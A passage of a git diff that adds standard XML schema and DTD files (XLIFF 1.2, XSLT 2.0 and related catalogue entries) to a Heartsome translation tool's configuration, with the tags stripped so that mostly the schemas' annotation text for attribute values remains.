+ + Low priority. + + + + + Lowest priority. + + + + + + + + + This value indicates that all properties can be reformatted. This value must be used alone. + + + + + This value indicates that no properties should be reformatted. This value must be used alone. + + + + + + + + + + + + + This value indicates that all information in the coord attribute can be modified. + + + + + This value indicates that the x information in the coord attribute can be modified. + + + + + This value indicates that the y information in the coord attribute can be modified. + + + + + This value indicates that the cx information in the coord attribute can be modified. + + + + + This value indicates that the cy information in the coord attribute can be modified. + + + + + This value indicates that all the information in the font attribute can be modified. + + + + + This value indicates that the name information in the font attribute can be modified. + + + + + This value indicates that the size information in the font attribute can be modified. + + + + + This value indicates that the weight information in the font attribute can be modified. + + + + + This value indicates that the information in the css-style attribute can be modified. + + + + + This value indicates that the information in the style attribute can be modified. + + + + + This value indicates that the information in the exstyle attribute can be modified. + + + + + + + + + + + + + Indicates that the context is informational in nature, specifying for example, how a term should be translated. Thus, should be displayed to anyone editing the XLIFF document. + + + + + Indicates that the context-group is used to specify where the term was found in the translatable source. Thus, it is not displayed. + + + + + Indicates that the context information should be used during translation memory lookups. Thus, it is not displayed. + + + + + + + + + Represents a translation proposal from a translation memory or other resource. + + + + + Represents a previous version of the target element. + + + + + Represents a rejected version of the target element. + + + + + Represents a translation to be used for reference purposes only, for example from a related product or a different language. + + + + + Represents a proposed translation that was used for the translation of the trans-unit, possibly modified. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Values for the attribute 'coord'. + + + + + + + + Version values: 1.0 and 1.1 are allowed for backward compatibility. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/xliff/xliff-core-1.2-transitional.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/xliff/xliff-core-1.2-transitional.xsd new file mode 100644 index 0000000..31f95ac --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/xliff/xliff-core-1.2-transitional.xsd @@ -0,0 +1,2263 @@ + + + + + + + + + + + + + + Values for the attribute 'context-type'. + + + + + Indicates a database content. + + + + + Indicates the content of an element within an XML document. + + + + + Indicates the name of an element within an XML document. + + + + + Indicates the line number from the sourcefile (see context-type="sourcefile") where the <source> is found. + + + + + Indicates a the number of parameters contained within the <source>. + + + + + Indicates notes pertaining to the parameters in the <source>. + + + + + Indicates the content of a record within a database. + + + + + Indicates the name of a record within a database. + + + + + Indicates the original source file in the case that multiple files are merged to form the original file from which the XLIFF file is created. This differs from the original <file> attribute in that this sourcefile is one of many that make up that file. + + + + + + + Values for the attribute 'count-type'. + + + + + Indicates the count units are items that are used X times in a certain context; example: this is a reusable text unit which is used 42 times in other texts. + + + + + Indicates the count units are translation units existing already in the same document. + + + + + Indicates a total count. + + + + + + + Values for the attribute 'ctype' when used other elements than <ph> or <x>. + + + + + Indicates a run of bolded text. + + + + + Indicates a run of text in italics. + + + + + Indicates a run of underlined text. + + + + + Indicates a run of hyper-text. + + + + + + + Values for the attribute 'ctype' when used with <ph> or <x>. + + + + + Indicates a inline image. + + + + + Indicates a page break. + + + + + Indicates a line break. + + + + + + + + + + + + Values for the attribute 'datatype'. + + + + + Indicates Active Server Page data. + + + + + Indicates C source file data. + + + + + Indicates Channel Definition Format (CDF) data. + + + + + Indicates ColdFusion data. + + + + + Indicates C++ source file data. + + + + + Indicates C-Sharp data. + + + + + Indicates strings from C, ASM, and driver files data. + + + + + Indicates comma-separated values data. + + + + + Indicates database data. + + + + + Indicates portions of document that follows data and contains metadata. + + + + + Indicates portions of document that precedes data and contains metadata. + + + + + Indicates data from standard UI file operations dialogs (e.g., Open, Save, Save As, Export, Import). + + + + + Indicates standard user input screen data. + + + + + Indicates HyperText Markup Language (HTML) data - document instance. + + + + + Indicates content within an HTML document’s <body> element. + + + + + Indicates Windows INI file data. + + + + + Indicates Interleaf data. + + + + + Indicates Java source file data (extension '.java'). + + + + + Indicates Java property resource bundle data. + + + + + Indicates Java list resource bundle data. + + + + + Indicates JavaScript source file data. + + + + + Indicates JScript source file data. + + + + + Indicates information relating to formatting. + + + + + Indicates LISP source file data. + + + + + Indicates information relating to margin formats. + + + + + Indicates a file containing menu. + + + + + Indicates numerically identified string table. + + + + + Indicates Maker Interchange Format (MIF) data. + + + + + Indicates that the datatype attribute value is a MIME Type value and is defined in the mime-type attribute. + + + + + Indicates GNU Machine Object data. + + + + + Indicates Message Librarian strings created by Novell's Message Librarian Tool. + + + + + Indicates information to be displayed at the bottom of each page of a document. + + + + + Indicates information to be displayed at the top of each page of a document. + + + + + Indicates a list of property values (e.g., settings within INI files or preferences dialog). + + + + + Indicates Pascal source file data. + + + + + Indicates Hypertext Preprocessor data. + + + + + Indicates plain text file (no formatting other than, possibly, wrapping). + + + + + Indicates GNU Portable Object file. + + + + + Indicates dynamically generated user defined document. e.g. Oracle Report, Crystal Report, etc. + + + + + Indicates Windows .NET binary resources. + + + + + Indicates Windows .NET Resources. + + + + + Indicates Rich Text Format (RTF) data. + + + + + Indicates Standard Generalized Markup Language (SGML) data - document instance. + + + + + Indicates Standard Generalized Markup Language (SGML) data - Document Type Definition (DTD). + + + + + Indicates Scalable Vector Graphic (SVG) data. + + + + + Indicates VisualBasic Script source file. + + + + + Indicates warning message. + + + + + Indicates Windows (Win32) resources (i.e. resources extracted from an RC script, a message file, or a compiled file). + + + + + Indicates Extensible HyperText Markup Language (XHTML) data - document instance. + + + + + Indicates Extensible Markup Language (XML) data - document instance. + + + + + Indicates Extensible Markup Language (XML) data - Document Type Definition (DTD). + + + + + Indicates Extensible Stylesheet Language (XSL) data. + + + + + Indicates XUL elements. + + + + + + + Values for the attribute 'mtype'. + + + + + Indicates the marked text is an abbreviation. + + + + + ISO-12620 2.1.8: A term resulting from the omission of any part of the full term while designating the same concept. + + + + + ISO-12620 2.1.8.1: An abbreviated form of a simple term resulting from the omission of some of its letters (e.g. 'adj.' for 'adjective'). + + + + + ISO-12620 2.1.8.4: An abbreviated form of a term made up of letters from the full form of a multiword term strung together into a sequence pronounced only syllabically (e.g. 'radar' for 'radio detecting and ranging'). + + + + + ISO-12620: A proper-name term, such as the name of an agency or other proper entity. + + + + + ISO-12620 2.1.18.1: A recurrent word combination characterized by cohesion in that the components of the collocation must co-occur within an utterance or series of utterances, even though they do not necessarily have to maintain immediate proximity to one another. + + + + + ISO-12620 2.1.5: A synonym for an international scientific term that is used in general discourse in a given language. + + + + + Indicates the marked text is a date and/or time. + + + + + ISO-12620 2.1.15: An expression used to represent a concept based on a statement that two mathematical expressions are, for instance, equal as identified by the equal sign (=), or assigned to one another by a similar sign. + + + + + ISO-12620 2.1.7: The complete representation of a term for which there is an abbreviated form. + + + + + ISO-12620 2.1.14: Figures, symbols or the like used to express a concept briefly, such as a mathematical or chemical formula. + + + + + ISO-12620 2.1.1: The concept designation that has been chosen to head a terminological record. + + + + + ISO-12620 2.1.8.3: An abbreviated form of a term consisting of some of the initial letters of the words making up a multiword term or the term elements making up a compound term when these letters are pronounced individually (e.g. 'BSE' for 'bovine spongiform encephalopathy'). + + + + + ISO-12620 2.1.4: A term that is part of an international scientific nomenclature as adopted by an appropriate scientific body. + + + + + ISO-12620 2.1.6: A term that has the same or nearly identical orthographic or phonemic form in many languages. + + + + + ISO-12620 2.1.16: An expression used to represent a concept based on mathematical or logical relations, such as statements of inequality, set relationships, Boolean operations, and the like. + + + + + ISO-12620 2.1.17: A unit to track object. + + + + + Indicates the marked text is a name. + + + + + ISO-12620 2.1.3: A term that represents the same or a very similar concept as another term in the same language, but for which interchangeability is limited to some contexts and inapplicable in others. + + + + + ISO-12620 2.1.17.2: A unique alphanumeric designation assigned to an object in a manufacturing system. + + + + + Indicates the marked text is a phrase. + + + + + ISO-12620 2.1.18: Any group of two or more words that form a unit, the meaning of which frequently cannot be deduced based on the combined sense of the words making up the phrase. + + + + + Indicates the marked text should not be translated. + + + + + ISO-12620 2.1.12: A form of a term resulting from an operation whereby non-Latin writing systems are converted to the Latin alphabet. + + + + + Indicates that the marked text represents a segment. + + + + + ISO-12620 2.1.18.2: A fixed, lexicalized phrase. + + + + + ISO-12620 2.1.8.2: A variant of a multiword term that includes fewer words than the full form of the term (e.g. 'Group of Twenty-four' for 'Intergovernmental Group of Twenty-four on International Monetary Affairs'). + + + + + ISO-12620 2.1.17.1: Stock keeping unit, an inventory item identified by a unique alphanumeric designation assigned to an object in an inventory control system. + + + + + ISO-12620 2.1.19: A fixed chunk of recurring text. + + + + + ISO-12620 2.1.13: A designation of a concept by letters, numerals, pictograms or any combination thereof. + + + + + ISO-12620 2.1.2: Any term that represents the same or a very similar concept as the main entry term in a term entry. + + + + + ISO-12620 2.1.18.3: Phraseological unit in a language that expresses the same semantic content as another phrase in that same language. + + + + + Indicates the marked text is a term. + + + + + ISO-12620 2.1.11: A form of a term resulting from an operation whereby the characters of one writing system are represented by characters from another writing system, taking into account the pronunciation of the characters converted. + + + + + ISO-12620 2.1.10: A form of a term resulting from an operation whereby the characters of an alphabetic writing system are represented by characters from another alphabetic writing system. + + + + + ISO-12620 2.1.8.5: An abbreviated form of a term resulting from the omission of one or more term elements or syllables (e.g. 'flu' for 'influenza'). + + + + + ISO-12620 2.1.9: One of the alternate forms of a term. + + + + + + + Values for the attribute 'restype'. + + + + + Indicates a Windows RC AUTO3STATE control. + + + + + Indicates a Windows RC AUTOCHECKBOX control. + + + + + Indicates a Windows RC AUTORADIOBUTTON control. + + + + + Indicates a Windows RC BEDIT control. + + + + + Indicates a bitmap, for example a BITMAP resource in Windows. + + + + + Indicates a button object, for example a BUTTON control Windows. + + + + + Indicates a caption, such as the caption of a dialog box. + + + + + Indicates the cell in a table, for example the content of the <td> element in HTML. + + + + + Indicates check box object, for example a CHECKBOX control in Windows. + + + + + Indicates a menu item with an associated checkbox. + + + + + Indicates a list box, but with a check-box for each item. + + + + + Indicates a color selection dialog. + + + + + Indicates a combination of edit box and listbox object, for example a COMBOBOX control in Windows. + + + + + Indicates an initialization entry of an extended combobox DLGINIT resource block. (code 0x1234). + + + + + Indicates an initialization entry of a combobox DLGINIT resource block (code 0x0403). + + + + + Indicates a UI base class element that cannot be represented by any other element. + + + + + Indicates a context menu. + + + + + Indicates a Windows RC CTEXT control. + + + + + Indicates a cursor, for example a CURSOR resource in Windows. + + + + + Indicates a date/time picker. + + + + + Indicates a Windows RC DEFPUSHBUTTON control. + + + + + Indicates a dialog box. + + + + + Indicates a Windows RC DLGINIT resource block. + + + + + Indicates an edit box object, for example an EDIT control in Windows. + + + + + Indicates a filename. + + + + + Indicates a file dialog. + + + + + Indicates a footnote. + + + + + Indicates a font name. + + + + + Indicates a footer. + + + + + Indicates a frame object. + + + + + Indicates a XUL grid element. + + + + + Indicates a groupbox object, for example a GROUPBOX control in Windows. + + + + + Indicates a header item. + + + + + Indicates a heading, such has the content of <h1>, <h2>, etc. in HTML. + + + + + Indicates a Windows RC HEDIT control. + + + + + Indicates a horizontal scrollbar. + + + + + Indicates an icon, for example an ICON resource in Windows. + + + + + Indicates a Windows RC IEDIT control. + + + + + Indicates keyword list, such as the content of the Keywords meta-data in HTML, or a K footnote in WinHelp RTF. + + + + + Indicates a label object. + + + + + Indicates a label that is also a HTML link (not necessarily a URL). + + + + + Indicates a list (a group of list-items, for example an <ol> or <ul> element in HTML). + + + + + Indicates a listbox object, for example an LISTBOX control in Windows. + + + + + Indicates an list item (an entry in a list). + + + + + Indicates a Windows RC LTEXT control. + + + + + Indicates a menu (a group of menu-items). + + + + + Indicates a toolbar containing one or more tope level menus. + + + + + Indicates a menu item (an entry in a menu). + + + + + Indicates a XUL menuseparator element. + + + + + Indicates a message, for example an entry in a MESSAGETABLE resource in Windows. + + + + + Indicates a calendar control. + + + + + Indicates an edit box beside a spin control. + + + + + Indicates a catch all for rectangular areas. + + + + + Indicates a standalone menu not necessarily associated with a menubar. + + + + + Indicates a pushbox object, for example a PUSHBOX control in Windows. + + + + + Indicates a Windows RC PUSHBUTTON control. + + + + + Indicates a radio button object. + + + + + Indicates a menuitem with associated radio button. + + + + + Indicates raw data resources for an application. + + + + + Indicates a row in a table. + + + + + Indicates a Windows RC RTEXT control. + + + + + Indicates a user navigable container used to show a portion of a document. + + + + + Indicates a generic divider object (e.g. menu group separator). + + + + + Windows accelerators, shortcuts in resource or property files. + + + + + Indicates a UI control to indicate process activity but not progress. + + + + + Indicates a splitter bar. + + + + + Indicates a Windows RC STATE3 control. + + + + + Indicates a window for providing feedback to the users, like 'read-only', etc. + + + + + Indicates a string, for example an entry in a STRINGTABLE resource in Windows. + + + + + Indicates a layers of controls with a tab to select layers. + + + + + Indicates a display and edits regular two-dimensional tables of cells. + + + + + Indicates a XUL textbox element. + + + + + Indicates a UI button that can be toggled to on or off state. + + + + + Indicates an array of controls, usually buttons. + + + + + Indicates a pop up tool tip text. + + + + + Indicates a bar with a pointer indicating a position within a certain range. + + + + + Indicates a control that displays a set of hierarchical data. + + + + + Indicates a URI (URN or URL). + + + + + Indicates a Windows RC USERBUTTON control. + + + + + Indicates a user-defined control like CONTROL control in Windows. + + + + + Indicates the text of a variable. + + + + + Indicates version information about a resource like VERSIONINFO in Windows. + + + + + Indicates a vertical scrollbar. + + + + + Indicates a graphical window. + + + + + + + Values for the attribute 'size-unit'. + + + + + Indicates a size in 8-bit bytes. + + + + + Indicates a size in Unicode characters. + + + + + Indicates a size in columns. Used for HTML text area. + + + + + Indicates a size in centimeters. + + + + + Indicates a size in dialog units, as defined in Windows resources. + + + + + Indicates a size in 'font-size' units (as defined in CSS). + + + + + Indicates a size in 'x-height' units (as defined in CSS). + + + + + Indicates a size in glyphs. A glyph is considered to be one or more combined Unicode characters that represent a single displayable text character. Sometimes referred to as a 'grapheme cluster' + + + + + Indicates a size in inches. + + + + + Indicates a size in millimeters. + + + + + Indicates a size in percentage. + + + + + Indicates a size in pixels. + + + + + Indicates a size in point. + + + + + Indicates a size in rows. Used for HTML text area. + + + + + + + Values for the attribute 'state'. + + + + + Indicates the terminating state. + + + + + Indicates only non-textual information needs adaptation. + + + + + Indicates both text and non-textual information needs adaptation. + + + + + Indicates only non-textual information needs review. + + + + + Indicates both text and non-textual information needs review. + + + + + Indicates that only the text of the item needs to be reviewed. + + + + + Indicates that the item needs to be translated. + + + + + Indicates that the item is new. For example, translation units that were not in a previous version of the document. + + + + + Indicates that changes are reviewed and approved. + + + + + Indicates that the item has been translated. + + + + + + + Values for the attribute 'state-qualifier'. + + + + + Indicates an exact match. An exact match occurs when a source text of a segment is exactly the same as the source text of a segment that was translated previously. + + + + + Indicates a fuzzy match. A fuzzy match occurs when a source text of a segment is very similar to the source text of a segment that was translated previously (e.g. when the difference is casing, a few changed words, white-space discripancy, etc.). + + + + + Indicates a match based on matching IDs (in addition to matching text). + + + + + Indicates a translation derived from a glossary. + + + + + Indicates a translation derived from existing translation. + + + + + Indicates a translation derived from machine translation. + + + + + Indicates a translation derived from a translation repository. + + + + + Indicates a translation derived from a translation memory. + + + + + Indicates the translation is suggested by machine translation. + + + + + Indicates that the item has been rejected because of incorrect grammar. + + + + + Indicates that the item has been rejected because it is incorrect. + + + + + Indicates that the item has been rejected because it is too long or too short. + + + + + Indicates that the item has been rejected because of incorrect spelling. + + + + + Indicates the translation is suggested by translation memory. + + + + + + + Values for the attribute 'unit'. + + + + + Refers to words. + + + + + Refers to pages. + + + + + Refers to <trans-unit> elements. + + + + + Refers to <bin-unit> elements. + + + + + Refers to glyphs. + + + + + Refers to <trans-unit> and/or <bin-unit> elements. + + + + + Refers to the occurrences of instances defined by the count-type value. + + + + + Refers to characters. + + + + + Refers to lines. + + + + + Refers to sentences. + + + + + Refers to paragraphs. + + + + + Refers to segments. + + + + + Refers to placeables (inline elements). + + + + + + + Values for the attribute 'priority'. + + + + + Highest priority. + + + + + High priority. + + + + + High priority, but not as important as 2. + + + + + High priority, but not as important as 3. + + + + + Medium priority, but more important than 6. + + + + + Medium priority, but less important than 5. + + + + + Low priority, but more important than 8. + + + + + Low priority, but more important than 9. + + + + + Low priority. + + + + + Lowest priority. + + + + + + + + + This value indicates that all properties can be reformatted. This value must be used alone. + + + + + This value indicates that no properties should be reformatted. This value must be used alone. + + + + + + + + + + + + + This value indicates that all information in the coord attribute can be modified. + + + + + This value indicates that the x information in the coord attribute can be modified. + + + + + This value indicates that the y information in the coord attribute can be modified. + + + + + This value indicates that the cx information in the coord attribute can be modified. + + + + + This value indicates that the cy information in the coord attribute can be modified. + + + + + This value indicates that all the information in the font attribute can be modified. + + + + + This value indicates that the name information in the font attribute can be modified. + + + + + This value indicates that the size information in the font attribute can be modified. + + + + + This value indicates that the weight information in the font attribute can be modified. + + + + + This value indicates that the information in the css-style attribute can be modified. + + + + + This value indicates that the information in the style attribute can be modified. + + + + + This value indicates that the information in the exstyle attribute can be modified. + + + + + + + + + + + + + Indicates that the context is informational in nature, specifying for example, how a term should be translated. Thus, should be displayed to anyone editing the XLIFF document. + + + + + Indicates that the context-group is used to specify where the term was found in the translatable source. Thus, it is not displayed. + + + + + Indicates that the context information should be used during translation memory lookups. Thus, it is not displayed. + + + + + + + + + Represents a translation proposal from a translation memory or other resource. + + + + + Represents a previous version of the target element. + + + + + Represents a rejected version of the target element. + + + + + Represents a translation to be used for reference purposes only, for example from a related product or a different language. + + + + + Represents a proposed translation that was used for the translation of the trans-unit, possibly modified. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Values for the attribute 'coord'. + + + + + + + + Version values: 1.0 and 1.1 are allowed for backward compatibility. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/xliff/xliff.dtd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/xliff/xliff.dtd new file mode 100644 index 0000000..b6cec30 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/xliff/xliff.dtd @@ -0,0 +1,387 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/xml-intl/xref.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/xml-intl/xref.xsd new file mode 100644 index 0000000..f4dbfd9 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/xml-intl/xref.xsd @@ -0,0 +1,23 @@ + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/xml/XMLSchema.dtd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/xml/XMLSchema.dtd new file mode 100644 index 0000000..33f06c4 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/xml/XMLSchema.dtd @@ -0,0 +1,402 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +%xs-datatypes; + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/xml/datatypes.dtd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/xml/datatypes.dtd new file mode 100644 index 0000000..e71d975 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/xml/datatypes.dtd @@ -0,0 +1,203 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/xml/schema-for-xslt20.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/xml/schema-for-xslt20.xsd new file mode 100644 index 0000000..bfdfcf8 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/xml/schema-for-xslt20.xsd @@ -0,0 +1,1208 @@ + + + + + + + + This is a schema for XSLT 2.0 stylesheets. + + It defines all the elements that appear in the XSLT namespace; it also + provides hooks that allow the inclusion of user-defined literal result elements, + extension instructions, and top-level data elements. + + The schema is derived (with kind permission) from a schema for XSLT 1.0 stylesheets + produced by Asir S Vedamuthu of WebMethods Inc. + + This schema is available for use under the conditions of the W3C Software License + published at http://www.w3.org/Consortium/Legal/copyright-software-19980720 + + The schema is organized as follows: + + PART A: definitions of complex types and model groups used as the basis + for element definitions + PART B: definitions of individual XSLT elements + PART C: definitions for literal result elements + PART D: definitions of simple types used in attribute definitions + + This schema does not attempt to define all the constraints that apply to a valid + XSLT 2.0 stylesheet module. It is the intention that all valid stylesheet modules + should conform to this schema; however, the schema is non-normative and in the event + of any conflict, the text of the Recommendation takes precedence. + + This schema does not implement the special rules that apply when a stylesheet + has sections that use forwards-compatible-mode. In this mode, setting version="3.0" + allows elements from the XSLT namespace to be used that are not defined in XSLT 2.0. + + Simplified stylesheets (those with a literal result element as the outermost element) + will validate against this schema only if validation starts in lax mode. + + This version is dated 2005-02-11 + Authors: Michael H Kay, Saxonica Limited + Jeni Tennison, Jeni Tennison Consulting Ltd. + + + + + + + + + + + + + + + + + PART A: definitions of complex types and model groups used as the basis + for element definitions + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + PART B: definitions of individual XSLT elements + Elements are listed in alphabetical order. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + PART C: definition of literal result elements + + There are three ways to define the literal result elements + permissible in a stylesheet. + + (a) do nothing. This allows any element to be used as a literal + result element, provided it is not in the XSLT namespace + + (b) declare all permitted literal result elements as members + of the xsl:literal-result-element substitution group + + (c) redefine the model group xsl:result-elements to accommodate + all permitted literal result elements. + + Literal result elements are allowed to take certain attributes + in the XSLT namespace. These are defined in the attribute group + literal-result-element-attributes, which can be included in the + definition of any literal result element. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + PART D: definitions of simple types used in stylesheet attributes + + + + + + + + + This type is used for all attributes that allow an attribute value template. + The general rules for the syntax of attribute value templates, and the specific + rules for each such attribute, are described in the XSLT 2.0 Recommendation. + + + + + + + + + A string containing exactly one character. + + + + + + + + + + + + An XPath 2.0 expression. + + + + + + + + + + + + Describes how type annotations in source documents are handled. + + + + + + + + + + + + + + + The level attribute of xsl:number: + one of single, multiple, or any. + + + + + + + + + + + + + The mode attribute of xsl:apply-templates: + either a QName, or #current, or #default. + + + + + + + + + + + + + + + + + The mode attribute of xsl:template: + either a list, each member being either a QName or #default; + or the value #all + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + A list of NameTests, as defined in the XPath 2.0 Recommendation. + Each NameTest is either a QName, or "*", or "prefix:*", or "*:localname" + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + The method attribute of xsl:output: + Either one of the recognized names "xml", "xhtml", "html", "text", + or a QName that must include a prefix. + + + + + + + + + + + + + + + + + + + + + + + + + + A match pattern as defined in the XSLT 2.0 Recommendation. + The syntax for patterns is a restricted form of the syntax for + XPath 2.0 expressions. + + + + + + + + + + Either a namespace prefix, or #default. + Used in the xsl:namespace-alias element. + + + + + + + + + + + + + + + + A list of QNames. + Used in the [xsl:]use-attribute-sets attribute of various elements, + and in the cdata-section-elements attribute of xsl:output + + + + + + + + + A QName. + This schema does not use the built-in type xs:QName, but rather defines its own + QName type. Although xs:QName would define the correct validation on these attributes, + a schema processor would expand unprefixed QNames incorrectly when constructing the PSVI, + because (as defined in XML Schema errata) an unprefixed xs:QName is assumed to be in + the default namespace, which is not the correct assumption for XSLT. + The data type is defined as a restriction of the built-in type Name, restricted + so that it can only contain one colon which must not be the first or last character. + + + + + + + + + + + The description of a data type, conforming to the + SequenceType production defined in the XPath 2.0 Recommendation + + + + + + + + + + + + + + + Describes different ways of type-annotating an element or attribute. + + + + + + + + + + + + + Describes different ways of type-annotating an element or attribute. + + + + + + + + + + + + + + + + One of the values "yes" or "no". + + + + + + + + + + + + + One of the values "yes" or "no" or "omit". + + + + + + + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/xml/transform.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/xml/transform.xsd new file mode 100644 index 0000000..fa95d6b --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/xml/transform.xsd @@ -0,0 +1,10 @@ + + + + + + Someday a schema for XSL Transforms will live here + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/xml/xml.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/xml/xml.xsd new file mode 